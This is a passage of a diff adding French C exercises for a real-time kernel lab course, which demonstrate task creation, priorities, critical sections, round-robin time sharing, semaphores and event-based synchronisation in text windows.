} |
|||
@ -0,0 +1,111 @@ |
|||
/************************************************************************/ |
|||
/* EX1.C : Multi-Fenêtrage avec seulement UNE tâche */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Création de fenêtres avec le système de Multi-Fenêtrage VIDEO */ |
|||
/* et opérations d'affichage dans les fenêtres. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 /*Outre la tâche main, il n'y a dans cette exercice que la tâche T1 qui a le numéro 1*/ |
|||
/*Rappel : le numéro peut varier de 1 à 10. La valeur 0 est reservée à la tâche main*/ |
|||
|
|||
#define PT1 3 /*La priorité de la tâche T1 est PT1=3 (pourquoi pas?). La priorité peut varier de 1 à 10*/ |
|||
/*La priorité la plus forte correspond à la valeur 10. La tâche main a la priorité 0*/ |
|||
|
|||
#define ESC 0x1b /*On revient au DOS en frappant sur la touche Escape*/ |
|||
|
|||
Word F0,F1,F2,F3,F4,F5,F6;/*On utilise 6 fenêtres dans cet exercice*/ |
|||
|
|||
#include "tempo.c" /*Le fichier tempo.c est dans le répertoire courant et correspond à une boucle d'attente logicielle*/ |
|||
/*La syntaxe d'appel est Tempo(Word Duree). La valeur de Duree correspond approximativement*/ |
|||
/*à la durée de la boucle (en millisecondes) pour les PC utilisés en TP*/ |
|||
|
|||
/*--------------------------------------------------------------------------------------------------*/ |
|||
Tache_Controleur(void) |
|||
{ |
|||
/*Deux tâches dans cet exercice :
|
|||
- la tâche main (incontournable) |
|||
- la tâche Tache_Controleur*/ |
|||
|
|||
Char Car; |
|||
EcrTexte(F5,"Tapez des chiffres entre 1 et 4 ; ESC pour sortir\r"); |
|||
|
|||
while (TRUE) |
|||
{ |
|||
LireCar(F5, ON, &Car); /*Rappel : la fonction LireCar est suspensive*/ |
|||
switch (Car) |
|||
{ |
|||
case ESC : RetDos(); break; /*RetDos est une fonction du noyau*/ |
|||
case '1' : Proc_1(); break; /*Les fonctions Proc_i sont extrémement simples (cf. ci-dessous)*/ |
|||
case '2' : Proc_2(); break; |
|||
case '3' : Proc_3(); break; |
|||
case '4' : Proc_4(); break; |
|||
} |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------------------------------------*/ |
|||
Proc_1(void) |
|||
{ |
|||
EcrTexte(F1,"Proc_1 En Cours\n"); |
|||
Tempo(2); /*Boucle d'attente logicielle*/ |
|||
EffaceFen(F1); |
|||
} |
|||
|
|||
Proc_2(void) |
|||
{ |
|||
EcrTexte(F2,"Proc_2 En Cours\n"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
} |
|||
|
|||
Proc_3(void) |
|||
{ |
|||
EcrTexte(F3,"Proc_3 En Cours\n"); |
|||
Tempo(10); |
|||
EffaceFen(F3); |
|||
} |
|||
|
|||
Proc_4(void) |
|||
{ |
|||
static Int Cpt=0; |
|||
EcrTexte(F4,"Proc_4 En Cours\r"); |
|||
SelectFen(F4); |
|||
EcrVar("Cpt = %d\r", Cpt); |
|||
Cpt ++; |
|||
if(Cpt == 3) |
|||
{ |
|||
Cpt = 0; |
|||
Tempo(10); |
|||
EffaceFen(F4); |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); /*Appel obligatoire avant toute utilisation du module video*/ |
|||
|
|||
F0=OuvreFen( 0, 0,79,24, noir, blanc, "EXERCICE1"); |
|||
F1=OuvreFen( 1, 6,39, 9, cyan, blanc, "Proc_1"); |
|||
F2=OuvreFen(41, 6,78, 9, vert, blanc, "Proc_2"); |
|||
F3=OuvreFen( 1,11,39,14, bleu, blanc, "Proc_3"); |
|||
F4=OuvreFen(41,11,78,19, marron, blanc, "Proc_4"); |
|||
F5=OuvreFen( 1, 1,78, 5, rouge, blanc, "Tâche_Contrôleur"); |
|||
F6=OuvreFen( 1, 20,78, 23, rouge, blanc, "Tâche_Main"); |
|||
|
|||
InitNoyau(); /*Obligatoire pour utiliser le module video*/ |
|||
|
|||
CreateTask(T1,PT1,Tache_Controleur); /*Créer la tâche numéro T1, avec la priorité T1, correspondant la fonction Tâche_controleur*/ |
|||
/*La TCB (partiellement initialisée est créée)*/ |
|||
|
|||
StartTask(T1); /*La TCB est totalement initialisée : La tâche est prête*/ |
|||
/*Le tableau TabPrio est mis à jour*/ |
|||
|
|||
while (TRUE) |
|||
{ |
|||
EcrTexte(F6,"&"); /*Affiche un "&"*/ |
|||
Tempo(2); /*Simulation d'une charge CPU durant 2 dixieme de secondes*/ |
|||
} |
|||
} |
|||
@ -0,0 +1,72 @@ |
|||
/************************************************************************/ |
|||
/* EX2.C : Priorités */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* On crée une tâche TK (TKill) de priorité 3 permettant de quitter */ |
|||
/* proprement une application. */ |
|||
/* Puis une tâche T1 de priorité plus forte et une nouvelle fenêtre */ |
|||
/* dans laquelle cette tâche écrit en permanence. */ |
|||
/* Constater que TKill ne démarre pas. */ |
|||
/* Puis mettre à T1 une priorité moins forte et expliquer. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 /*Le numéro de la tâche Tache1 est 1*/ |
|||
#define TK 2 /*Le numéro de la tâche TKill est 2*/ |
|||
#define PT 3 /*La priorité de la tâche Tache1 est 2*/ |
|||
#define PTK 4 /*La priorité de la tâche TKill est 3*/ |
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2; |
|||
|
|||
#include "tempo.c" |
|||
/*--------------------------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
|
|||
while(1) |
|||
{ |
|||
LireCar(F1,ON,&car); |
|||
if(car==ESC) |
|||
{ |
|||
RetDos(); |
|||
} |
|||
} |
|||
} |
|||
/*--------------------------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F1,"T1111111"); |
|||
Tempo(5); |
|||
EffaceFen(F1); |
|||
Tempo(5); |
|||
} |
|||
} |
|||
/*********************************************************************/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EXERCICE 2"); |
|||
F1 = OuvreFen( 5, 5,20,10, bleu, blanc,"EnCours"); |
|||
F2 = OuvreFen( 1,20,78,23, rouge,blanc,"TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
CreateTask(T1, PT, Tache1); |
|||
CreateTask(TK, PTK,TKill); |
|||
|
|||
EnterRegion(); |
|||
StartTask(T1); /* Demarre T1 */ |
|||
StartTask(TK); /* Demarre TK */ |
|||
LeaveRegion(); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F2,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,79 @@ |
|||
/********************************************************************/ |
|||
/* EX3.C : EnterRegion et LeaveRegion */ |
|||
/* Primitive de partage du temps RTClockInit() */ |
|||
/********************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 /* La tâche Tache1 a le numéro 1 */ |
|||
#define T2 2 /* La tâche Tache2 a le numéro 2 */ |
|||
#define TK 3 /* La tâche TKill a le numéro 3 */ |
|||
#define PT1 2 /* La tâche numéro 1 a la priorité 2 */ |
|||
#define PT2 2 /* La tâche numéro 2 a aussi la priorité 2 */ |
|||
#define PTK 3 /* La tâche numéro 3 a la priorité 3 : c'est elle la plus prioritaire */ |
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3; |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TKill() |
|||
{ |
|||
Char car; |
|||
while (1) |
|||
{ |
|||
LireCar(F1,ON,&car); |
|||
if(car==ESC) |
|||
{ |
|||
RetDos(); |
|||
} |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache1() |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F1,"T1111111"); |
|||
Tempo(5); |
|||
EffaceFen(F1); |
|||
Tempo(5); |
|||
} |
|||
} |
|||
|
|||
/*-------------------------------------------------------------------*/ |
|||
Tache2() |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T2222222"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
Tempo(5); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EXERCICE 3"); |
|||
F1 = OuvreFen( 5, 5,20,10, bleu, blanc,"T1 EnCours"); |
|||
F2 = OuvreFen(25, 5,40,10, vert, blanc,"T2 EnCours"); |
|||
F3 = OuvreFen( 1,20,78,23, rouge,blanc,"TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
CreateTask(T1, PT1, Tache1); |
|||
CreateTask(T2, PT2, Tache2); |
|||
CreateTask(TK, PTK, TKill); |
|||
|
|||
StartTask(TK); /*En changeant l'ordre des taches, on arrive a lancer T1 et TK mais pas T2*/ |
|||
StartTask(T1); |
|||
StartTask(T2); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F3,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,85 @@ |
|||
/********************************************************************/ |
|||
/* EX3.C : EnterRegion et LeaveRegion */ |
|||
/* Primitive de partage du temps RTClockInit() */ |
|||
/********************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 /* La tâche Tache1 a le numéro 1 */ |
|||
#define T2 2 /* La tâche Tache2 a le numéro 2 */ |
|||
#define TK 3 /* La tâche TKill a le numéro 3 */ |
|||
#define PT1 2 /* La tâche numéro 1 a la priorité 2 */ |
|||
#define PT2 2 /* La tâche numéro 2 a aussi la priorité 2 */ |
|||
#define PTK 3 /* La tâche numéro 3 a la priorité 3 : c'est elle la plus prioritaire */ |
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3; |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TKill() |
|||
{ |
|||
Char car; |
|||
while (1) |
|||
{ |
|||
LireCar(F1,ON,&car); |
|||
if(car==ESC) |
|||
{ |
|||
RetDos(); |
|||
} |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache1() |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F1,"T1111111"); |
|||
Tempo(5); |
|||
EffaceFen(F1); |
|||
Tempo(5); |
|||
} |
|||
} |
|||
|
|||
/*-------------------------------------------------------------------*/ |
|||
Tache2() |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T2222222"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
Tempo(5); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EXERCICE 3"); |
|||
F1 = OuvreFen( 5, 5,20,10, bleu, blanc,"T1 EnCours"); |
|||
F2 = OuvreFen(25, 5,40,10, vert, blanc,"T2 EnCours"); |
|||
F3 = OuvreFen( 1,20,78,23, rouge,blanc,"TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
CreateTask(T1, PT1, Tache1); |
|||
CreateTask(T2, PT2, Tache2); |
|||
CreateTask(TK, PTK, TKill); |
|||
|
|||
|
|||
EnterRegion(); /*La section critique permet de demarrer toutes les taches*/ |
|||
|
|||
StartTask(TK); /*En changeant l'ordre des taches, on arrive a lancer T1 et TK mais pas T2*/ |
|||
StartTask(T1); |
|||
StartTask(T2); /*T1 et T2 ont la meme priorite. Seule la derniere tache demarree est prise en compte (ici T2)*/ |
|||
|
|||
LeaveRegion(); |
|||
|
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F3,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,88 @@ |
|||
/********************************************************************/ |
|||
/* EX3.C : EnterRegion et LeaveRegion */ |
|||
/* Primitive de partage du temps RTClockInit() */ |
|||
/********************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 /* La tâche Tache1 a le numéro 1 */ |
|||
#define T2 2 /* La tâche Tache2 a le numéro 2 */ |
|||
#define TK 3 /* La tâche TKill a le numéro 3 */ |
|||
#define PT1 2 /* La tâche numéro 1 a la priorité 2 */ |
|||
#define PT2 2 /* La tâche numéro 2 a aussi la priorité 2 */ |
|||
#define PTK 3 /* La tâche numéro 3 a la priorité 3 : c'est elle la plus prioritaire */ |
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3; |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TKill() |
|||
{ |
|||
Char car; |
|||
while (1) |
|||
{ |
|||
LireCar(F1,ON,&car); |
|||
if(car==ESC) |
|||
{ |
|||
RetDos(); |
|||
} |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache1() |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F1,"T1111111"); |
|||
Tempo(5); |
|||
EffaceFen(F1); |
|||
Tempo(5); |
|||
} |
|||
} |
|||
|
|||
/*-------------------------------------------------------------------*/ |
|||
Tache2() |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T2222222"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
Tempo(5); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EXERCICE 3"); |
|||
F1 = OuvreFen( 5, 5,20,10, bleu, blanc,"T1 EnCours"); |
|||
F2 = OuvreFen(25, 5,40,10, vert, blanc,"T2 EnCours"); |
|||
F3 = OuvreFen( 1,20,78,23, rouge,blanc,"TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
/*Initialisation du partage de temps*/ |
|||
RTClockInit(1); |
|||
|
|||
CreateTask(T1, PT1, Tache1); |
|||
CreateTask(T2, PT2, Tache2); |
|||
CreateTask(TK, PTK, TKill); |
|||
|
|||
|
|||
EnterRegion(); /*La section critique permet de demarrer toutes les taches*/ |
|||
|
|||
StartTask(TK); /*En changeant l'ordre des taches, on arrive a lancer T1 et TK mais pas T2*/ |
|||
StartTask(T1); |
|||
StartTask(T2); /*T1 et T2 ont la meme priorite. Seule la derniere tache demarree est prise en compte (ici T2)*/ |
|||
|
|||
LeaveRegion(); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F3,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,146 @@ |
|||
/************************************************************************/ |
|||
/* EX4.C : Round-Robin avec protection des Ressources */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Quatre tâches de même priorité travaillent en partage du temps */ |
|||
/* (Réordonnancement à chaque Tick). */ |
|||
/* Ces quatre tâches utilisent une fenêtre commune pour afficher */ |
|||
/* leur message. */ |
|||
/* Principe : */ |
|||
/* La ressource commune est protegée par un sémaphore binaire */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define T3 3 |
|||
#define T4 4 |
|||
#define TK 5 |
|||
#define PT 1 |
|||
#define PTK 2 |
|||
#define ESC 0x1B |
|||
|
|||
#define Sem 1 |
|||
#define ValMaxSem 1 |
|||
|
|||
Word F0,F1,F2; |
|||
|
|||
#include "tempo.c" |
|||
|
|||
/*-----------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
LireCar(F2,ON,&car); |
|||
if(car==ESC) |
|||
{ |
|||
RetDos(); |
|||
} |
|||
} |
|||
} |
|||
/*-----------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
P(Sem,0); |
|||
EcrTexte(F2,"T11111"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
V(Sem); |
|||
} |
|||
} |
|||
/*-----------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
P(Sem,0); |
|||
EcrTexte(F2,"T22222"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
V(Sem); |
|||
} |
|||
} |
|||
/*-----------------------------------------------*/ |
|||
Tache3(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
P(Sem,0); |
|||
EcrTexte(F2,"T33333"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
V(Sem); |
|||
} |
|||
} |
|||
/*-----------------------------------------------*/ |
|||
Tache4(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
P(Sem,0); |
|||
EcrTexte(F2,"T44444"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
V(Sem); |
|||
} |
|||
} |
|||
/*-----------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EX 4 : Round Robin et Sémaphore"); |
|||
F1 = OuvreFen( 2,20,77,23, cyan, blanc,"TACHE MAIN"); |
|||
F2 = OuvreFen( 5,10,20,15, bleu, blanc,"EnCours"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
RTClockInit(1); |
|||
|
|||
/*Lorsque l'on desactive le temps partage, les taches T1, T2, T3 et T4*/ |
|||
/*s'executent puis seule la tache T4 s'execute. Ceci est du au fait que*/ |
|||
/*T1, T2, et T3 sont reordonnancees sur le V avant d'avoir pu faire le P*/ |
|||
|
|||
|
|||
/* NOTE : pour la version SANS partage de temps, voir ex4a.c */ |
|||
|
|||
|
|||
CreateTask(T1, PT, Tache1); |
|||
CreateTask(T2, PT, Tache2); |
|||
CreateTask(T3, PT, Tache3); |
|||
CreateTask(T4, PT, Tache4); |
|||
CreateTask(TK, PTK,TKill); |
|||
|
|||
|
|||
InitSemaphore(Sem, ValMaxSem); /*Creation du semaphore*/ |
|||
/* On n'initialise pas le semaphore ici (cf. plus bas)*/ |
|||
|
|||
|
|||
/*Ici on n'a pas besoin de section critique car T1, T2, T3 et T4 seront*/ |
|||
/*bloquees sur la prise de semaphore et TK sera bloque sur la lecture du*/ |
|||
/*clavier. De cette maniere la tache main pourra continuer a s'executer.*/ |
|||
/*T1, T2, T3 et T4 seront inserees de maniere ordonnee dans la file*/ |
|||
/*d'attente du semaphore*/ |
|||
|
|||
StartTask(T1); /*Demarrage des taches*/ |
|||
StartTask(T2); |
|||
StartTask(T3); |
|||
StartTask(T4); |
|||
StartTask(TK); |
|||
|
|||
Tempo(10); /*Laisse le temps a l'ecran LCD de changer de mode video*/ |
|||
|
|||
/*On debloque la premiere tache de la file d'attente du semaphore*/ |
|||
V(Sem); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F1,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,137 @@ |
|||
/************************************************************************/ |
|||
/* EX4A.C : Round-Robin avec protection des Ressources */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Quatre tâches de même priorité travaillent SANS partage du temps */ |
|||
/* Ces quatre tâches utilisent une fenêtre commune pour afficher */ |
|||
/* leur message. */ |
|||
/* Principe : */ |
|||
/* La ressource commune est protegée par un sémaphore binaire */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define T3 3 |
|||
#define T4 4 |
|||
#define TK 5 |
|||
#define PT 1 |
|||
#define PTK 2 |
|||
#define ESC 0x1B |
|||
|
|||
#define Sem 1 |
|||
#define ValMaxSem 1 |
|||
|
|||
Word F0,F1,F2; |
|||
|
|||
#include "tempo.c" |
|||
|
|||
/*-----------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
LireCar(F2,ON,&car); |
|||
if(car==ESC) |
|||
{ |
|||
RetDos(); |
|||
} |
|||
} |
|||
} |
|||
/*-----------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
P(Sem,0); /*Blocage initial des taches (synchronisation)*/ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T11111"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
P(Sem,0); /*Remise de la tache dans la file d'attente du semaphore*/ |
|||
} |
|||
} |
|||
/*-----------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
P(Sem,0); |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T22222"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
P(Sem,0); |
|||
} |
|||
} |
|||
/*-----------------------------------------------*/ |
|||
Tache3(void) |
|||
{ |
|||
P(Sem,0); |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T33333"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
P(Sem,0); |
|||
} |
|||
} |
|||
/*-----------------------------------------------*/ |
|||
Tache4(void) |
|||
{ |
|||
P(Sem,0); |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T44444"); |
|||
Tempo(5); |
|||
EffaceFen(F2); |
|||
P(Sem,0); |
|||
} |
|||
} |
|||
/*-----------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EX 4 : Round Robin et Sémaphore"); |
|||
F1 = OuvreFen( 2,20,77,23, cyan, blanc,"TACHE MAIN"); |
|||
F2 = OuvreFen( 5,10,20,15, bleu, blanc,"EnCours"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
/* NOTE : Dans cet example on n'utilise pas le temps partage */ |
|||
|
|||
CreateTask(T1, PT, Tache1); |
|||
CreateTask(T2, PT, Tache2); |
|||
CreateTask(T3, PT, Tache3); |
|||
CreateTask(T4, PT, Tache4); |
|||
CreateTask(TK, PTK,TKill); |
|||
|
|||
|
|||
InitSemaphore(Sem, ValMaxSem); /*Creation du semaphore*/ |
|||
/* On n'initialise pas le semaphore ici (cf. plus bas)*/ |
|||
|
|||
|
|||
/*Ici on n'a pas besoin de section critique car T1, T2, T3 et T4 seront*/ |
|||
/*bloquees sur la prise de semaphore et TK sera bloque sur la lecture du*/ |
|||
/*clavier. De cette maniere la tache main pourra continuer a s'executer.*/ |
|||
/*T1, T2, T3 et T4 seront inserees de maniere ordonnee dans la file*/ |
|||
/*d'attente du semaphore*/ |
|||
|
|||
StartTask(T1); /*Demarrage des taches*/ |
|||
StartTask(T2); |
|||
StartTask(T3); |
|||
StartTask(T4); |
|||
StartTask(TK); |
|||
|
|||
Tempo(10); /*Laisse le temps a l'ecran LCD de changer de mode video*/ |
|||
|
|||
/*On debloque la premiere tache de la file d'attente du semaphore*/ |
|||
V(Sem); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F1,'&'); |
|||
V(Sem); /*Lorsque toutes les taches sont bloques on debloque la suivante dans la file d'attente*/ |
|||
} |
|||
} |
|||
@ -0,0 +1,121 @@ |
|||
/************************************************************************/ |
|||
/* EX5.C : Synchronisation par événements */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Trois tâches de même priorité doivent afficher "circulairement" */ |
|||
/* un message dans leur fenêtre respective. */ |
|||
/* Ces trois tâches se synchronisent mutuellement. */ |
|||
/* Principe : */ |
|||
/* La synchronisation est réalisée par des évenemets : chacune des */ |
|||
/* tâches attend de la tâche précédente un évenement puis signale */ |
|||
/* un évenement a la suivante. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define T3 3 |
|||
#define TK 4 |
|||
#define PT 1 |
|||
#define PTK 2 |
|||
|
|||
#define SE1 0 /* On peut prendre n'importe quelle valeur < 16 */ |
|||
#define SE2 1 /* On peut prendre n'importe quelle valeur < 16 */ |
|||
#define SE3 15 /* On peut prendre n'importe quelle valeur < 16 */ |
|||
|
|||
#define WE1 0x0001 |
|||
#define WE2 0x0002 |
|||
#define WE3 0x8000 |
|||
|
|||
#define ESC 0x1B |
|||
|
|||
Word CopieEvtSig; |
|||
|
|||
Word F0,F1,F2,F3,F4; |
|||
|
|||
#include "tempo.c" |
|||
/*---------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
LireCar(F1,ON,&car); |
|||
if(car==ESC) |
|||
{ |
|||
RetDos(); |
|||
} |
|||
} |
|||
} |
|||
/*---------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F1,"T11111"); |
|||
Tempo(10); |
|||
EffaceFen(F1); |
|||
ClearEvents(WE1); |
|||
SignalEvent(T2,SE2); |
|||
WaitEvents(WE1, 0, &CopieEvtSig); |
|||
} |
|||
} |
|||
/*---------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T22222"); |
|||
Tempo(10); |
|||
EffaceFen(F2); |
|||
ClearEvents(WE2); |
|||
SignalEvent(T3,SE3); |
|||
WaitEvents(WE2, 0, &CopieEvtSig); |
|||
} |
|||
} |
|||
/*---------------------------------------------*/ |
|||
Tache3(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F3,"T33333"); |
|||
Tempo(10); |
|||
EffaceFen(F3); |
|||
ClearEvents(WE3); |
|||
SignalEvent(T1,SE1); |
|||
WaitEvents(WE3, 0, &CopieEvtSig); |
|||
} |
|||
} |
|||
/*---------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
|
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EX 5 : SYNCHRONISATION PAR EVENEMENTS"); |
|||
F1 = OuvreFen(10,10,21,13, bleu, blanc, "EnCours"); |
|||
F2 = OuvreFen(30, 3,41, 6, vert, blanc, "EnCours"); |
|||
F3 = OuvreFen(50,10,61,13, rouge,blanc, "EnCours"); |
|||
F4 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); |
|||
|
|||
|
|||
InitNoyau(); |
|||
CreateTask(T1, PT, Tache1); |
|||
CreateTask(T2, PT, Tache2); |
|||
CreateTask(T3, PT, Tache3); |
|||
CreateTask(TK, PTK, TKill); |
|||
|
|||
EnterRegion(); |
|||
StartTask(T3); |
|||
StartTask(T2); |
|||
StartTask(T1); |
|||
StartTask(TK); |
|||
LeaveRegion(); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F4,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,105 @@ |
|||
/************************************************************************/ |
|||
/* EX5A.C : Synchronisation par Sémaphore Binaire */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Deux tâches de même priorité affichent chacune un message dans */ |
|||
/* leur fenêtre respective. */ |
|||
/* Ces deux tâches se synchronisent mutuellement. */ |
|||
/* Principe : */ |
|||
/* La synchronisation est realisée par un sémaphore binaire : ce */ |
|||
/* TP a pour but essentiel de montrer le principe de préemption du */ |
|||
/* processeur. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define T3 3 |
|||
#define TK 4 |
|||
|
|||
#define PT1 1 |
|||
#define PT2 1 |
|||
#define PT3 1 |
|||
#define PTK 3 |
|||
|
|||
#define Sem1 1 |
|||
#define ValMaxSem 1 |
|||
#define ESC 0x1B |
|||
|
|||
#define AttInfinie 0L |
|||
|
|||
Word F0,F1,F2,F3,F4; |
|||
#include "tempo.c" |
|||
/*-----------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
LireCar(F1,ON,&car); |
|||
if( car == ESC ) RetDos(); |
|||
} |
|||
} |
|||
/*-----------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F1,"T111111\n"); |
|||
Tempo(10); |
|||
EffaceFen(F1); |
|||
P(Sem1,AttInfinie); |
|||
} |
|||
} |
|||
/*-----------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T222222\n"); |
|||
Tempo(10); |
|||
EffaceFen(F2); |
|||
V(Sem1); |
|||
} |
|||
} |
|||
/*-----------------------------------------------------*/ |
|||
Tache3(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
} |
|||
} |
|||
/*-----------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
|
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 5a : SYNCHRONISATION AVEC UN SEMAPHORE BINAIRE (bis)"); |
|||
F1 = OuvreFen(10,10,21,13, bleu, blanc, "EnCours"); |
|||
F2 = OuvreFen(30, 3,41, 6, vert, blanc, "EnCours"); |
|||
F3 = OuvreFen(50,10,61,13,rouge, blanc, "EnCours"); |
|||
F4 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
CreateTask(T1, PT1, Tache1); |
|||
CreateTask(T2, PT2, Tache2); |
|||
